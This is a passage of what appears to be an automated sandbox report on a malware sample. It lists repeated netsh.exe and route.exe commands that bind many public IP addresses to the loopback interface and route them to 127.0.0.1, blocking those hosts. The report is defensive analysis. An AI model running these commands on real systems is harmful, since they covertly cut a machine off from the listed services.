- C:\Windows\system32\route.exe
  "route.exe" add 104.21.43.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1160
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.47.14 255.255.255.255
  2⤵
  PID:2348
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.47.14
  2⤵
  PID:4400
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.47.14 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2132
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.51.212 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2800
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.51.212
  2⤵
  PID:4704
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.51.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3464
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.53.194 255.255.255.255
  2⤵
  PID:3016
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.53.194
  2⤵
  PID:4484
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.53.194 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4624
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.59.125 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3908
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.59.125
  2⤵
  PID:3452
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.59.125 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1688
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.61.200 255.255.255.255
  2⤵
  PID:3192
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.61.200
  2⤵
  PID:2476
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.61.200 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2488
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.71.80 255.255.255.255
  2⤵
  PID:4704
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.71.80
  2⤵
  PID:2868
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.71.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3044
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.78.212 255.255.255.255
  2⤵
  PID:1792
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.78.212
  2⤵
  PID:4944
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.78.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3816
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.244.5 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2480
- C:\Windows\system32\route.exe
  "route.exe" delete 104.24.244.5
  2⤵
  PID:1448
- C:\Windows\system32\route.exe
  "route.exe" add 104.24.244.5 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4940
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.33.36 255.255.255.255
  2⤵
  PID:2520
- C:\Windows\system32\route.exe
  "route.exe" delete 104.24.33.36
  2⤵
  PID:3432
- C:\Windows\system32\route.exe
  "route.exe" add 104.24.33.36 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4424
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.152.66 255.255.255.255
  2⤵
  PID:2432
- C:\Windows\system32\route.exe
  "route.exe" delete 104.25.152.66
  2⤵
  PID:1732
- C:\Windows\system32\route.exe
  "route.exe" add 104.25.152.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2776
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3556
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.153.110 255.255.255.255
  2⤵
  PID:2812
- C:\Windows\system32\route.exe
  "route.exe" delete 104.25.153.110
  2⤵
  PID:4904
- C:\Windows\system32\route.exe
  "route.exe" add 104.25.153.110 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1792
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4280
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.18.105 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2804
- C:\Windows\system32\route.exe
  "route.exe" delete 104.25.18.105
  2⤵
  PID:2556
- C:\Windows\system32\route.exe
  "route.exe" add 104.25.18.105 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4392
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.26.13.144 255.255.255.255
  2⤵
  PID:4836
- C:\Windows\system32\route.exe
  "route.exe" delete 104.26.13.144
  2⤵
  PID:552
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3192
- C:\Windows\system32\route.exe
  "route.exe" add 104.26.13.144 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2960
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.193.156 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1688
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3872
- C:\Windows\system32\route.exe
  "route.exe" delete 104.27.193.156
  2⤵
  PID:2244
- C:\Windows\system32\route.exe
  "route.exe" add 104.27.193.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3308
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.90.111 255.255.255.255
  2⤵
  PID:2160
- C:\Windows\system32\route.exe
  "route.exe" delete 104.27.90.111
  2⤵
  PID:1332
- C:\Windows\system32\route.exe
  "route.exe" add 104.27.90.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3140
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.54.223.230 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4164
- C:\Windows\system32\route.exe
  "route.exe" delete 106.54.223.230
  2⤵
  PID:3172
- C:\Windows\system32\route.exe
  "route.exe" add 106.54.223.230 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2404
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.10 255.255.255.255
  2⤵
  PID:1892
- C:\Windows\system32\route.exe
  "route.exe" delete 106.63.15.10
  2⤵
  PID:2968
- C:\Windows\system32\route.exe
  "route.exe" add 106.63.15.10 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1904
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.9 255.255.255.255
  2⤵
  PID:2740
- C:\Windows\system32\route.exe
  "route.exe" delete 106.63.15.9
  2⤵
  PID:2032
- C:\Windows\system32\route.exe
  "route.exe" add 106.63.15.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2812
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 107.149.250.26 255.255.255.255
  2⤵
  PID:4888
- C:\Windows\system32\route.exe
  "route.exe" delete 107.149.250.26
  2⤵
  PID:4236
- C:\Windows\system32\route.exe
  "route.exe" add 107.149.250.26 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:928
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1576
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 110.42.45.175 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2488
- C:\Windows\system32\route.exe
  "route.exe" delete 110.42.45.175
  2⤵
  PID:1056
- C:\Windows\system32\route.exe
  "route.exe" add 110.42.45.175 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4240
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 112.213.116.42 255.255.255.255
  2⤵
  PID:2032
- C:\Windows\system32\route.exe
  "route.exe" delete 112.213.116.42
  2⤵
  PID:4560
- C:\Windows\system32\route.exe
  "route.exe" add 112.213.116.42 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2476
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.12.18 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2804
- C:\Windows\system32\route.exe
  "route.exe" delete 114.66.12.18
  2⤵
  PID:2792
- C:\Windows\system32\route.exe
  "route.exe" add 114.66.12.18 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4468
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.220 255.255.255.255
  2⤵
  PID:1772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2348
- C:\Windows\system32\route.exe
  "route.exe" delete 114.66.36.220
  2⤵
  PID:4184
- C:\Windows\system32\route.exe
  "route.exe" add 114.66.36.220 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3964
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.65 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3908
- C:\Windows\system32\route.exe
  "route.exe" delete 114.66.36.65
  2⤵
  PID:4692
- C:\Windows\system32\route.exe
  "route.exe" add 114.66.36.65 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4368
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.62.149 255.255.255.255
  2⤵
  PID:2740
- C:\Windows\system32\route.exe
  "route.exe" delete 114.66.62.149
  2⤵
  PID:3328
- C:\Windows\system32\route.exe
  "route.exe" add 114.66.62.149 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4900
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 119.188.164.109 255.255.255.255
  2⤵
  PID:2420
- C:\Windows\system32\route.exe
  "route.exe" delete 119.188.164.109
  2⤵
  PID:5028
- C:\Windows\system32\route.exe
  "route.exe" add 119.188.164.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4240
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 120.55.192.78 255.255.255.255
  2⤵
  PID:2988
- C:\Windows\system32\route.exe
  "route.exe" delete 120.55.192.78
  2⤵
  PID:4672
- C:\Windows\system32\route.exe
  "route.exe" add 120.55.192.78 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:664
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 123.206.101.228 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1488
- C:\Windows\system32\route.exe
  "route.exe" delete 123.206.101.228
  2⤵
  PID:1448
- C:\Windows\system32\route.exe
  "route.exe" add 123.206.101.228 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3808
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.212.191 255.255.255.255
  2⤵
  PID:3452
- C:\Windows\system32\route.exe
  "route.exe" delete 124.222.212.191
  2⤵
  PID:2988
- C:\Windows\system32\route.exe
  "route.exe" add 124.222.212.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1820
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.67.215 255.255.255.255
  2⤵
  PID:2024
- C:\Windows\system32\route.exe
  "route.exe" delete 124.222.67.215
  2⤵
  PID:2404
- C:\Windows\system32\route.exe
  "route.exe" add 124.222.67.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2160
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 125.77.172.237 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3668
- C:\Windows\system32\route.exe
  "route.exe" delete 125.77.172.237
  2⤵
  PID:1792
- C:\Windows\system32\route.exe
  "route.exe" add 125.77.172.237 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4864
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 137.175.126.218 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2620
- C:\Windows\system32\route.exe
  "route.exe" delete 137.175.126.218
  2⤵
  PID:4480
- C:\Windows\system32\route.exe
  "route.exe" add 137.175.126.218 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1892
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 144.48.241.246 255.255.255.255
  2⤵
  PID:3764
- C:\Windows\system32\route.exe
  "route.exe" delete 144.48.241.246
  2⤵
  PID:4036
- C:\Windows\system32\route.exe
  "route.exe" add 144.48.241.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2484
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.12.54.134 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4248
- C:\Windows\system32\route.exe
  "route.exe" delete 154.12.54.134
  2⤵
  PID:1772
- C:\Windows\system32\route.exe
  "route.exe" add 154.12.54.134 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1792
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.199.36.208 255.255.255.255
  2⤵
  PID:1056
- C:\Windows\system32\route.exe
  "route.exe" delete 154.199.36.208
  2⤵
  PID:3496
- C:\Windows\system32\route.exe
  "route.exe" add 154.199.36.208 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1332
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.201.71.15 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:928
- C:\Windows\system32\route.exe
  "route.exe" delete 154.201.71.15
  2⤵
  PID:4036
- C:\Windows\system32\route.exe
  "route.exe" add 154.201.71.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1732
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.36.174.60 255.255.255.255
  2⤵
  PID:4280
- C:\Windows\system32\route.exe
  "route.exe" delete 154.36.174.60
  2⤵
  PID:2556
- C:\Windows\system32\route.exe
  "route.exe" add 154.36.174.60 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3764
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.11 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1196
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.11
  2⤵
  PID:1792
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2620
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.11 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4880
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.111 255.255.255.255
  2⤵
  PID:3020
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.111
  2⤵
  PID:3808
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3344
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.122 255.255.255.255
  2⤵
  PID:2384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3308
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.122
  2⤵
  PID:1688
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.122 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2312
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.123 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1388
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.123
  2⤵
  PID:3548
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2204
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.150 255.255.255.255
  2⤵
  PID:1056
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3808
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.150
  2⤵
  PID:4900
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.150 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1368
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.156 255.255.255.255
  2⤵
  PID:1820
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.156
  2⤵
  PID:3292
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4928
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.188 255.255.255.255
  2⤵
  PID:1628
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.188
  2⤵
  PID:5028
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.188 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:948
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.199 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1016
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.199
  2⤵
  PID:3668
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.199 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3036
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.22 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4224
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.22
  2⤵
  PID:2384
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.22 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4236
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.222 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1388
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.222
  2⤵
  PID:4836
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.222 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4340
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.233 255.255.255.255
  2⤵
  PID:4240
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.233
  2⤵
  PID:1448
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.233 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2628
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.234 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:908
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.234
  2⤵
  PID:2716
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.234 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:928
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.239 255.255.255.255
  2⤵
  PID:2420
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3764
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.239
  2⤵
  PID:2384
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.239 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:664
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.247 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:944
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.247
  2⤵
  PID:4280
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4736
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.55 255.255.255.255
  2⤵
  PID:3496
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.55
  2⤵
  PID:2420
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.55 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1584
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.66 255.255.255.255
  2⤵
  PID:1196
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.66
  2⤵
  PID:820
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3460
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.80 255.255.255.255
  2⤵
  PID:4236
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.80
  2⤵
  PID:2488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1184
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2420
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.88 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4888
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.88
  2⤵
  PID:2160
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.88 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4728
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.97 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5008
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.97
  2⤵
  PID:1016
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.97 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3548
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.99 255.255.255.255
  2⤵
  PID:908
- C:\Windows\system32\route.exe
  "route.exe" delete 156.239.237.99
  2⤵
  PID:1196
- C:\Windows\system32\route.exe
  "route.exe" add 156.239.237.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4240
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.129.131 255.255.255.255
  2⤵
  PID:3292
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.129.131
  2⤵
  PID:416
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.129.131 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4224
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.132.29 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3020
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.132.29
  2⤵
  PID:4504
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.132.29 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4900
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.137.135 255.255.255.255
  2⤵
  PID:2456
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.137.135
  2⤵
  PID:1616
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.137.135 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4684
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.161 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4748
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.143.161
  2⤵
  PID:5004
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.143.161 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1536
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.247 255.255.255.255
  2⤵
  PID:3328
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.143.247
  2⤵
  PID:2792
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.143.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4624
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.154 255.255.255.255
  2⤵
  PID:4928
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.144.154
  2⤵
  PID:2104
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.144.154 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5056
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.231 255.255.255.255
  2⤵
  PID:4036
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.144.231
  2⤵
  PID:2960
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.144.231 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:908
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.165.85 255.255.255.255
  2⤵
  PID:4236
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.165.85
  2⤵
  PID:4324
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.165.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4040
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.167.213 255.255.255.255
  2⤵
  PID:652
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.167.213
  2⤵
  PID:1440
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.167.213 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2960
- C:\Windows\system32\netsh.exe
